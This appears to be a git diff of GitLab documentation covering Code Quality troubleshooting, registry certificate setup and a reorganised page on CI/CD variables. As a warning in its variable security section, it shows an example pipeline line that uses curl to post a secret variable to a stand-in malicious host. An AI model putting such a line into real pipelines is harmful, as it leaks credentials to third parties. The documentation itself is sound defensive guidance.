affect the `exclude_patterns` section of the default +`.codeclimate.yml`. See the Code Climate documentation on [excluding files and folders](https://docs.codeclimate.com/docs/excluding-files-and-folders) for more details. -Here's [an example project](https://gitlab.com/jheimbuck_gl/jh_java_example_project) that uses Code Quality with a `.codeclimate.yml` file. - -## Use a Code Quality image hosted in a registry with untrusted certificates - -If you set the `CODE_QUALITY_IMAGE` to an image that is hosted in a -Docker registry which uses a TLS certificate that is not trusted, such as -a self-signed certificate, you can see errors like the one below: - -```shell -$ docker pull --quiet "$CODE_QUALITY_IMAGE" -Error response from daemon: Get https://gitlab.example.com/v2/: x509: certificate signed by unknown authority -``` - -To fix this, configure the Docker daemon to [trust certificates](https://docs.docker.com/registry/insecure/#use-self-signed-certificates) -by putting the certificate inside of the `/etc/docker/certs.d` -directory. - -This Docker daemon is exposed to the subsequent Code Quality Docker container in the -[GitLab Code Quality template](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml#L41) -and should be to exposed any other containers in which you want to have -your certificate configuration apply. - -### Docker - -If you have access to GitLab Runner configuration, add the directory as a -[volume mount](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section). For example: - -```toml -[[runners]] - ... - executor = "docker" - [runners.docker] - ... - privileged = true - volumes = ["/cache", "/etc/gitlab-runner/certs/gitlab.example.com.crt:/etc/docker/certs.d/gitlab.example.com/ca.crt:ro"] -``` - -Replace `gitlab.example.com` with the actual domain of the registry. - -### Kubernetes - -If you have access to GitLab Runner configuration and the Kubernetes cluster, -you can [mount a ConfigMap](https://docs.gitlab.com/runner/executors/kubernetes.html#configmap-volumes): - -1. Create a ConfigMap with the certificate: - - ```shell - kubectl create configmap registry-crt --namespace gitlab-runner --from-file /etc/gitlab-runner/certs/gitlab.example.com.crt - ``` - -1. Update GitLab Runner `config.toml` to specify the ConfigMap: - - ```toml - [[runners]] - ... - executor = "kubernetes" - [runners.kubernetes] - image = "alpine:3.12" - privileged = true - [[runners.kubernetes.volumes.config_map]] - name = "registry-crt" - mount_path = "/etc/docker/certs.d/gitlab.example.com/ca.crt" - sub_path = "gitlab.example.com.crt" - ``` - -Replace `gitlab.example.com` with the actual domain of the registry. - ## Troubleshooting ### Changing the default configuration has no effect @@ -611,28 +525,36 @@ is still used. This can be due to multiple reasons: -- You just added the Code Quality job in your `.gitlab-ci.yml`. The report does not - have anything to compare to yet, so no information can be displayed. It only displays - after future merge requests have something to compare to. -- Your pipeline is not set to run the code quality job on your target branch. If there is no report generated from the target branch, your MR branch reports have nothing to compare to. In this situation you will see an error stating `Base pipeline codequality artifact not found`. +- You just added the Code Quality job in your `.gitlab-ci.yml`. The report does not have anything to + compare to yet, so no information can be displayed. It only displays after future merge requests + have something to compare to. +- Your pipeline is not set to run the code quality job on your target branch. If there is no report + generated from the target branch, your merge request branch reports have nothing to compare to. In this + situation you get an error stating `Base pipeline codequality artifact not found`. - If no [degradation or error is detected](https://docs.codeclimate.com/docs/maintainability#section-checks), nothing is displayed. -- The [`artifacts:expire_in`](../yaml/index.md#artifactsexpire_in) CI/CD - setting can cause the Code Quality artifacts to expire faster than desired. -- The widgets use the pipeline of the latest commit to the target branch. If commits are made to the default branch that do not run the code quality job, this may cause the merge request widget to have no base report for comparison. -- If you use the [`REPORT_STDOUT` environment variable](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables), no report file is generated and nothing displays in the merge request. +- The [`artifacts:expire_in`](../yaml/index.md#artifactsexpire_in) CI/CD setting can cause the Code + Quality artifacts to expire faster than desired. +- The widgets use the pipeline of the latest commit to the target branch. If commits are made to the + default branch that do not run the code quality job, this may cause the merge request widget to + have no base report for comparison. +- If you use the [`REPORT_STDOUT` environment variable](https://gitlab.com/gitlab-org/ci-cd/codequality#environment-variables), + no report file is generated and nothing displays in the merge request. - Large `gl-code-quality-report.json` files (esp. >10 MB) are [known to prevent the report from being displayed](https://gitlab.com/gitlab-org/gitlab/-/issues/2737). - As a work-around, try removing [properties](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types) - that are [ignored by GitLab](#implementing-a-custom-tool). You can: + As a workaround, try removing [properties](https://github.com/codeclimate/platform/blob/master/spec/analyzers/SPEC.md#data-types) + that are [ignored by GitLab](#implement-a-custom-tool). You can: - Configure the Code Quality tool to not output those types. - - Use `sed`, `awk` or similar commands in the `.gitlab-ci.yml` script to - edit the `gl-code-quality-report.json` before the job completes. + - Use `sed`, `awk` or similar commands in the `.gitlab-ci.yml` script to edit the + `gl-code-quality-report.json` before the job completes. ### Only a single Code Quality report is displayed, but more are defined -GitLab only uses the Code Quality artifact from the latest created job (with the largest job ID). +Starting [in GitLab 15.7](https://gitlab.com/gitlab-org/gitlab/-/issues/340525), Code Quality combines the results from all jobs in a pipeline. + +In previous versions, GitLab only uses the Code Quality artifact from the latest created job (with the largest job ID). If multiple jobs in a pipeline generate a code quality artifact, those of earlier jobs are ignored. -To avoid confusion, configure only one job to generate a `gl-code-quality-report.json`. + +To avoid confusion, configure only one job to generate a `gl-code-quality-report.json` file. ### RuboCop errors @@ -666,19 +588,21 @@ plugins: ### No Code Quality appears on merge requests when using custom tool -If your merge requests do not show any code quality changes when using a custom tool, -ensure that the line property is an `integer`. +If your merge requests do not show any Code Quality changes when using a custom tool, ensure that +the line property is an `integer`. -### Code Quality CI job with Code Climate plugins enabled fails with error +### Error: `Could not analyze code quality` -If you enabled any of the Code Climate plugins, and the Code Quality CI job fails with the error -below, it's likely the job takes longer than the default timeout of 900 seconds: +You might get the error: ```shell error: (CC::CLI::Analyze::EngineFailure) engine pmd ran for 900 seconds and was killed Could not analyze code quality for the repository at /code ``` +If you enabled any of the Code Climate plugins, and the Code Quality CI/CD job fails with this +error message, it's likely the job takes longer than the default timeout of 900 seconds: + To work around this problem, set `TIMEOUT_SECONDS` to a higher value in your `.gitlab.-ci.yml` file. For example: @@ -687,3 +611,79 @@ For example: variables: TIMEOUT_SECONDS: 3600 ``` + +### Using Code Quality with Kubernetes CI executor + +Code Quality requires a Docker in Docker setup to work. The Kubernetes executor already [has support for this](https://docs.gitlab.com/runner/executors/kubernetes.md#using-dockerdind). + +To ensure Code Quality jobs can run on a Kubernetes executor: + +- If you're using TLS to communicate with the Docker daemon, the executor [must be running in privileged mode](https://docs.gitlab.com/runner/executors/kubernetes.html#other-configtoml-settings). Additionally, the certificate directory must be [specified as a volume mount](../docker/using_docker_build.md#docker-in-docker-with-tls-enabled-in-kubernetes). +- It is possible that the DinD service doesn't start up fully before the Code Quality job starts. This is a limitation documented in +the [Kubernetes executor for GitLab Runner](https://docs.gitlab.com/runner/executors/kubernetes.html#docker-cannot-connect-to-the-docker-daemon-at-tcpdocker2375-is-the-docker-daemon-running) troubleshooting section. + +### Error: `x509: certificate signed by unknown authority` + +If you set the `CODE_QUALITY_IMAGE` to an image that is hosted in a Docker registry which uses a TLS +certificate that is not trusted, such as a self-signed certificate, you can see errors like the one +below: + +```shell +$ docker pull --quiet "$CODE_QUALITY_IMAGE" +Error response from daemon: Get https://gitlab.example.com/v2/: x509: certificate signed by unknown authority +``` + +To fix this, configure the Docker daemon to [trust certificates](https://docs.docker.com/registry/insecure/#use-self-signed-certificates) +by putting the certificate inside of the `/etc/docker/certs.d` directory. + +This Docker daemon is exposed to the subsequent Code Quality Docker container in the +[GitLab Code Quality template](https://gitlab.com/gitlab-org/gitlab/-/blob/v13.8.3-ee/lib/gitlab/ci/templates/Jobs/Code-Quality.gitlab-ci.yml#L41) +and should be to exposed any other containers in which you want to have your certificate +configuration apply. + +#### Docker + +If you have access to GitLab Runner configuration, add the directory as a +[volume mount](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section). + +Replace `gitlab.example.com` with the actual domain of the registry. + +Example: + +```toml +[[runners]] + ... + executor = "docker" + [runners.docker] + ... + privileged = true + volumes = ["/cache", "/etc/gitlab-runner/certs/gitlab.example.com.crt:/etc/docker/certs.d/gitlab.example.com/ca.crt:ro"] +``` + +#### Kubernetes + +If you have access to GitLab Runner configuration and the Kubernetes cluster, +you can [mount a ConfigMap](https://docs.gitlab.com/runner/executors/kubernetes.html#configmap-volumes). + +Replace `gitlab.example.com` with the actual domain of the registry. + +1. Create a ConfigMap with the certificate: + + ```shell + kubectl create configmap registry-crt --namespace gitlab-runner --from-file /etc/gitlab-runner/certs/gitlab.example.com.crt + ``` + +1. Update GitLab Runner `config.toml` to specify the ConfigMap: + + ```toml + [[runners]] + ... + executor = "kubernetes" + [runners.kubernetes] + image = "alpine:3.12" + privileged = true + [[runners.kubernetes.volumes.config_map]] + name = "registry-crt" + mount_path = "/etc/docker/certs.d/gitlab.example.com/ca.crt" + sub_path = "gitlab.example.com.crt" + ``` diff --git a/doc/ci/testing/img/code_quality_host_bound_sequential.png b/doc/ci/testing/img/code_quality_host_bound_sequential.png Binary files differdeleted file mode 100644 index 2b31f3b42ee..00000000000 --- a/doc/ci/testing/img/code_quality_host_bound_sequential.png +++ /dev/null diff --git a/doc/ci/triggers/index.md b/doc/ci/triggers/index.md index a667836fee4..16530ea20b6 100644 --- a/doc/ci/triggers/index.md +++ b/doc/ci/triggers/index.md @@ -125,7 +125,7 @@ Replace: If you trigger a pipeline by using a webhook, you can access the webhook payload with the `TRIGGER_PAYLOAD` [predefined CI/CD variable](../variables/predefined_variables.md). -The payload is exposed as a [file-type variable](../variables/index.md#cicd-variable-types), +The payload is exposed as a [file-type variable](../variables/index.md#use-file-type-cicd-variables), so you can access the data with `cat $TRIGGER_PAYLOAD` or a similar command. ### Pass CI/CD variables in the API call diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md index 81e13192cef..6783ab1bfed 100644 --- a/doc/ci/troubleshooting.md +++ b/doc/ci/troubleshooting.md @@ -60,7 +60,7 @@ pipeline, and what their values are. A lot of pipeline configuration is dependen on variables, and verifying them is one of the fastest ways to find the source of a problem. -[Export the full list of variables](variables/index.md#list-all-environment-variables) +[Export the full list of variables](variables/index.md#list-all-variables) available in each problematic job. Check if the variables you expect are present, and check if their values are what you expect. @@ -249,7 +249,7 @@ The merge request status widget shows the **Merge** button and whether or not a request is ready to merge. If the merge request can't be merged, the reason for this is displayed. -If the pipeline is still running, the **Merge** button is replaced with the +If the pipeline is still running, **Merge** is replaced with the **Merge when pipeline succeeds** button. If [**Merge Trains**](pipelines/merge_trains.md) diff --git a/doc/ci/variables/img/ci_job_stage_output_example.png b/doc/ci/variables/img/ci_job_stage_output_example.png Binary files differdeleted file mode 100644 index 2344b19d9b3..00000000000 --- a/doc/ci/variables/img/ci_job_stage_output_example.png +++ /dev/null diff --git a/doc/ci/variables/img/custom_variables_output.png b/doc/ci/variables/img/custom_variables_output.png Binary files differdeleted file mode 100644 index 797e9ec07b9..00000000000 --- a/doc/ci/variables/img/custom_variables_output.png +++ /dev/null diff --git a/doc/ci/variables/img/inherited_group_variables_v12_5.png b/doc/ci/variables/img/inherited_group_variables_v12_5.png Binary files differdeleted file mode 100644 index cce024cfab8..00000000000 --- a/doc/ci/variables/img/inherited_group_variables_v12_5.png +++ /dev/null diff --git a/doc/ci/variables/index.md b/doc/ci/variables/index.md index 10dfa0174a0..5a1426b1356 100644 --- a/doc/ci/variables/index.md +++ b/doc/ci/variables/index.md @@ -13,21 +13,19 @@ CI/CD variables are a type of environment variable. You can use them to: - Store values you want to re-use. - Avoid hard-coding values in your `.gitlab-ci.yml` file. -You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom: +You can use: -- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). -- [Project CI/CD variables](#add-a-cicd-variable-to-a-project). -- [Group CI/CD variables](#add-a-cicd-variable-to-a-group). -- [Instance CI/CD variables](#add-a-cicd-variable-to-an-instance). +- [Predefined CI/CD variables](#predefined-cicd-variables). +- [Variables defined in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). +- [Variables defined in project, group, or instance settings](#define-a-cicd-variable-in-the-ui). -NOTE: -Variables set in the GitLab UI are **not** passed down to [service containers](../docker/using_docker_images.md). -To set them, assign them to variables in the UI, then re-assign them in your `.gitlab-ci.yml`: +You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), +or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). -```yaml -variables: - SA_PASSWORD: $SA_PASSWORD -``` +Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html) +to execute scripts. Each shell has its own set of reserved variable names. + +Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md). > For more information about advanced use of GitLab CI/CD: > @@ -38,53 +36,22 @@ variables: ## Predefined CI/CD variables -GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md) -you can use in pipelines configuration and job scripts. - -### Use predefined CI/CD variables +GitLab CI/CD makes a set of [predefined CI/CD variables](predefined_variables.md) +available for use in pipeline configuration and job scripts. You can use predefined CI/CD variables +in your `.gitlab-ci.yml` without declaring them first. -You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first. - -This example shows how to output a job's stage by using the `CI_JOB_STAGE` -predefined variable: +For example: ```yaml -test_variable: +job1: stage: test script: - echo "$CI_JOB_STAGE" ``` -The script outputs the `stage` for the `test_variable`, which is `test`: +The script in this example outputs the stage for the `job1` job, which is `test`. - - -## Custom CI/CD variables - -You can create custom CI/CD variables: - -- For a project: - - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). - - [In the project's settings](#add-a-cicd-variable-to-a-project). - - [With the API](../../api/project_level_variables.md). -- For all projects in a group [in the group's setting](#add-a-cicd-variable-to-a-group). -- For all projects in a GitLab instance [in the instance's settings](#add-a-cicd-variable-to-an-instance). - -You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), -or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). - -There are two types of variables: [`File` or `Variable`](#cicd-variable-types). - -Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html) -to execute scripts. Each shell has its own set of reserved variable names. - -Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md). - -By default, pipelines from forked projects can't access CI/CD variables in the parent project. -If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project), -all variables become available to the pipeline. - -### Create a custom CI/CD variable in the `.gitlab-ci.yml` file +## Define a CI/CD variable in the `.gitlab-ci.yml` file To create a custom variable in the [`.gitlab-ci.yml`](../yaml/index.md#variables) file, define the variable and value with `variables` keyword. @@ -125,33 +92,29 @@ Use the [`value` and `description`](../yaml/index.md#variablesdescription) keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). -### Use variables in other variables +## Define a CI/CD variable in the UI -You can use variables inside other variables: +You can define CI/CD variables in the UI: -```yaml -job: - variables: - FLAGS: '-al' - LS_CMD: 'ls "$FLAGS"' - script: - - 'eval "$LS_CMD"' # Executes 'ls -al' -``` +- For a project: + - [In the project's settings](#for-a-project). + - [With the API](../../api/project_level_variables.md). +- For all projects in a group [in the group's setting](#for-a-group). +- For all projects in a GitLab instance [in the instance's settings](#for-an-instance). -#### Use the `$` character in variables +By default, pipelines from forked projects can't access CI/CD variables in the parent project. +If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project), +all variables become available to the pipeline. -If you do not want the `$` character interpreted as the start of a variable, use `$$` instead: +Variables set in the GitLab UI are **not** passed down to [service containers](../docker/using_docker_images.md). +To set them, assign them to variables in the UI, then re-assign them in your `.gitlab-ci.yml`: ```yaml -job: - variables: - FLAGS: '-al' - LS_CMD: 'ls "$FLAGS" $$TMP_DIR' - script: - - 'eval "$LS_CMD"' # Executes 'ls -al $TMP_DIR' +variables: + SA_PASSWORD: $SA_PASSWORD ``` -### Add a CI/CD variable to a project +### For a project > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, projects can define a maximum of 200 CI/CD variables. @@ -167,40 +130,28 @@ To add or update variables in the project settings: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope**: Optional. `All`, or specific [environments](../environments/index.md). + - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). + - **Environment scope**: Optional. `All`, or specific [environments](../environments/index.md#limit-the-environment-scope-of-a-cicd-variable). - **Protect variable** Optional. If selected, the variable is only available in pipelines that run on [protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). - **Mask variable** Optional. If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#mask-a-cicd-variable). -After you create a variable, you can use it in the `.gitlab-ci.yml` file: +After you create a variable, you can use it in the [`.gitlab-ci.yml` configuration](../yaml/index.md) +or in [job scripts](#use-cicd-variables-in-job-scripts). -```yaml -test_variable: - stage: test - script: - - echo "$CI_JOB_STAGE" # calls a predefined variable - - echo "$TEST" # calls a custom variable of type `env_var` - - echo "$GREETING" # calls a custom variable of type `file` that contains the path to the temp file - - cat "$GREETING" # the temp file itself contains the variable value -``` - -The output is: - - - -### Add a CI/CD variable to a group +### For a group > - Support for environment scopes [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) in GitLab Premium 13.11 > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, groups can define a maximum of 200 CI/CD variables. -To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. Only group owners can add or update group-level CI/CD variables. +To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. +You must be a group owner. Use group variables to store secrets like passwords, SSH keys, and credentials, if you: -- Do **not** use an external key store. +- Do not use an external key store. - Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). To add a group variable: @@ -210,27 +161,19 @@ To add a group variable: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - - **Type**: [`File` or `Variable`](#cicd-variable-types). - - **Environment scope** Optional. `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** + - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). + - **Environment scope** Optional. `All`, or specific [environments](../environments/index.md#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)** - **Protect variable** Optional. If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** Optional. If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#mask-a-cicd-variable). -#### View all group-level variables available in a project - -To view all the group-level variables available in a project: - -1. In the project, go to **Settings > CI/CD**. -1. Expand the **Variables** section. +The group variables that are available in a project are listed in the project's +**Settings > CI/CD > Variables** section. Variables from [subgroups](../../user/group/subgroups/index.md) +are recursively inherited. -Variables from [subgroups](../../user/group/subgroups/index.md) are recursively -inherited. - - - -### Add a CI/CD variable to an instance **(FREE SELF)** +### For an instance **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. @@ -248,90 +191,43 @@ To add an instance variable: - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: In [GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), - 10,000 characters is allowed. This is also bounded by the limits of the selected - runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed. - - **Type**: [`File` or `Variable`](#cicd-variable-types). + the value is limited to 10,000 characters, but also bounded by any limits in the + runner's operating system. In GitLab 13.0 to 13.2, the value is limited to 700 characters. + - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). - **Protect variable** Optional. If selected, the variable is only available in pipelines that run on protected branches or tags. - **Mask variable** Optional. If selected, the variable's **Value** is not shown in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable). -### CI/CD variable types - -All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file -are `Variable` type. Project, group and instance CI/CD variables can be `Variable` -or `File` type. - -`Variable` type variables: - -- Consist of a key and value pair. -- Are made available in jobs as environment variables, with: - - The CI/CD variable key as the environment variable name. - - The CI/CD variable value as the environment variable value. - -Use `File` type CI/CD variables for tools that need a file as input. - -`File` type variables: - -- Consist of a key, value and file. -- Are made available in jobs as environment variables, with - - The CI/CD variable key as the environment variable name. - - The CI/CD variable value saved to a temporary file. - - The path to the temporary file as the environment variable value. - -Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) -and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) -use `File` type variables for configuration. - -For example, if you have the following variables: - -- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. -- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. +The instance variables that are available in a project are listed in the project's +**Settings > CI/CD > Variables** section. -Use the variables in a job script like this: - -```shell -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" -``` +## CI/CD variable security -WARNING: -Be careful when assigning the value of a file variable to another variable. The other -variable takes the content of the file as its value, **not** the path to the file. -See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details. - -An alternative to `File` type variables is to: - -- Read the value of a CI/CD variable (`variable` type). -- Save the value in a file. -- Use that file in your script. +Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables +and send them to a third party server regardless of the masked setting. If the pipeline +runs on a [protected branch](../../user/project/protected_branches.md) or +[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. -```shell -# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file -cat "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" -# Pass the newly created file to kubectl -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" -``` +Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: -#### Store multiple values in one variable +- [Run a pipeline in the parent project for a merge request submitted from a forked project](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project). +- Merge the changes. -It is not possible to create a CI/CD variable that is an array of values, but you -can use shell scripting techniques for similar behavior. +Review the `.gitlab-ci.yml` file of imported projects before you add files or run pipelines against them. -For example, you can store multiple variables separated by a space in a variable, -then loop through the values with a script: +The following example shows malicious code in a `.gitlab-ci.yml` file: ```yaml -job1: - variables: - FOLDERS: src test docs +build: script: - - | - for FOLDER in $FOLDERS - do - echo "The path is root/${FOLDER}" - done + - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` +Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) +and stored in the database. This data can only be read and decrypted with a +valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). + ### Mask a CI/CD variable > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330650) in GitLab 13.12, the `~` character can be used in masked variables. @@ -360,7 +256,7 @@ WARNING: Masking a CI/CD variable is not a guaranteed way to prevent malicious users from accessing variable values. The masking feature is "best-effort" and there to help when a variable is accidentally revealed. To make variables more secure, -consider using [external secrets](../secrets/index.md) and [file type variables](#cicd-variable-types) +consider using [external secrets](../secrets/index.md) and [file type variables](#use-file-type-cicd-variables) to prevent commands such as `env`/`printenv` from printing secret variables. Runner versions implement masking in different ways, some with technical @@ -372,7 +268,7 @@ limitations. Below is a table of such limitations. | v14.2.0 | v15.3.0 | The tail of a large secret (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | | v15.7.0 | | Potential for secrets to be revealed when `CI_DEBUG_SERVICES` is enabled. For details, read about [service container logging](../services/index.md#capturing-service-container-logs). | -### Protected CI/CD variables +### Protect a CI/CD variable You can configure a project, group, or instance CI/CD variable to be available only to pipelines that run on [protected branches](../../user/project/protected_branches.md) @@ -394,60 +290,61 @@ To mark a variable as protected: The variable is available for all subsequent pipelines. -### Expand CI/CD variables +### Use file type CI/CD variables -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217309) in GitLab 13.7. +All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file +are `Variable` type. Project, group and instance CI/CD variables can be `Variable` +or `File` type. -Expanded variables treat values with the `$` character as a reference to another variable. CI/CD variables are expanded -by default. +`Variable` type variables: -To treat variables with a `$` character as raw strings, disable variable expansion for the variable: +- Consist of a key and value pair. +- Are made available in jobs as environment variables, with: + - The CI/CD variable key as the environment variable name. + - The CI/CD variable value as the environment variable value. -1. In the project or group, go to **Settings > CI/CD**. -1. Expand the **Variables** section. -1. Next to the variable you want to do not want expanded, select **Edit**. -1. Clear the **Expand variable** checkbox. -1. Select **Update variable**. +Use `File` type CI/CD variables for tools that need a file as input. -### CI/CD variable security +`File` type variables: -Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables -and send them to a third party server regardless of the masked setting. If the pipeline -runs on a [protected branch](../../user/project/protected_branches.md) or -[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. +- Consist of a key, value and file. +- Are made available in jobs as environment variables, with + - The CI/CD variable key as the environment variable name. + - The CI/CD variable value saved to a temporary file. + - The path to the temporary file as the environment variable value. -Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: +Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) +and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) +use `File` type variables for configuration. -- [Run a pipeline in the parent project for a merge request submitted from a forked project](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project). -- Merge the changes. +For example, if you have the following variables: -Review the `.gitlab-ci.yml` file of imported projects before you add files or run pipelines against them. +- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. +- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. -The following example shows malicious code in a `.gitlab-ci.yml` file: +Use the variables in a job script like this: -```yaml -build: - script: - - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" +```shell +kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" ``` -Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) -and stored in the database. This data can only be read and decrypted with a -valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). - -### Custom variables validated by GitLab +WARNING: +Be careful when assigning the value of a file variable to another variable. The other +variable takes the content of the file as its value, **not** the path to the file. +See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details. -Some variables are listed in the UI so you can choose them more quickly. +An alternative to `File` type variables is to: -| Variable | Allowed Values | Introduced in | -|-------------------------|----------------------------------------------------|---------------| -| `AWS_ACCESS_KEY_ID` | Any | 12.10 | -| `AWS_DEFAULT_REGION` | Any | 12.10 | -| `AWS_SECRET_ACCESS_KEY` | Any | 12.10 | +- Read the value of a CI/CD variable (`variable` type). +- Save the value in a file. +- Use that file in your script. -WARNING: -When you store credentials, there are [security implications](#cicd-variable-security). -If you use AWS keys for example, follow the [Best practices for managing AWS access keys](https://docs.aws.amazon.com/general/latest/gr/aws-access-keys-best-practices.html). +```shell +# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file +echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" +# Pass the newly created file to kubectl +kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" +``` ## Use CI/CD variables in job scripts @@ -457,7 +354,7 @@ shell. To access environment variables, use the syntax for your [runner executor's shell](https://docs.gitlab.com/runner/executors/). -### Use variables with Bash, `sh` and similar +### With Bash, `sh` and similar To access environment variables in Bash, `sh`, and similar shells, prefix the CI/CD variable with (`$`): @@ -468,7 +365,7 @@ job_name: - echo "$CI_JOB_ID" ``` -### Use variables with PowerShell +### With PowerShell To access variables in a Windows PowerShell environment, including environment variables set by the system, prefix the variable name with (`$env:`) or (`$`): @@ -490,7 +387,7 @@ job_name: - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test ``` -### Use variables with Windows Batch +### With Windows Batch To access CI/CD variables in Windows Batch, surround the variable with `%`: @@ -510,48 +407,7 @@ job_name: - echo !ERROR_MESSAGE! ``` -### List all environment variables - -You can list all environment variables available to a script with the `export` command -in Bash or `dir env:` in PowerShell. This exposes the values of **all** available -variables, which can be a [security risk](#cicd-variable-security). -[Masked variables](#mask-a-cicd-variable) display as `[masked]`. - -For example: - -```yaml -job_name: - script: - - export - # - 'dir env:' # Use this for PowerShell -``` - -Example job log output (truncated): - -```shell -export CI_JOB_ID="50" -export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a" -export CI_COMMIT_SHORT_SHA="1ecfd275" -export CI_COMMIT_REF_NAME="main" -export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git" -export CI_COMMIT_TAG="1.0.0" -export CI_JOB_NAME="spec:other" -export CI_JOB_STAGE="test" -export CI_JOB_MANUAL="true" -export CI_JOB_TRIGGERED="true" -export 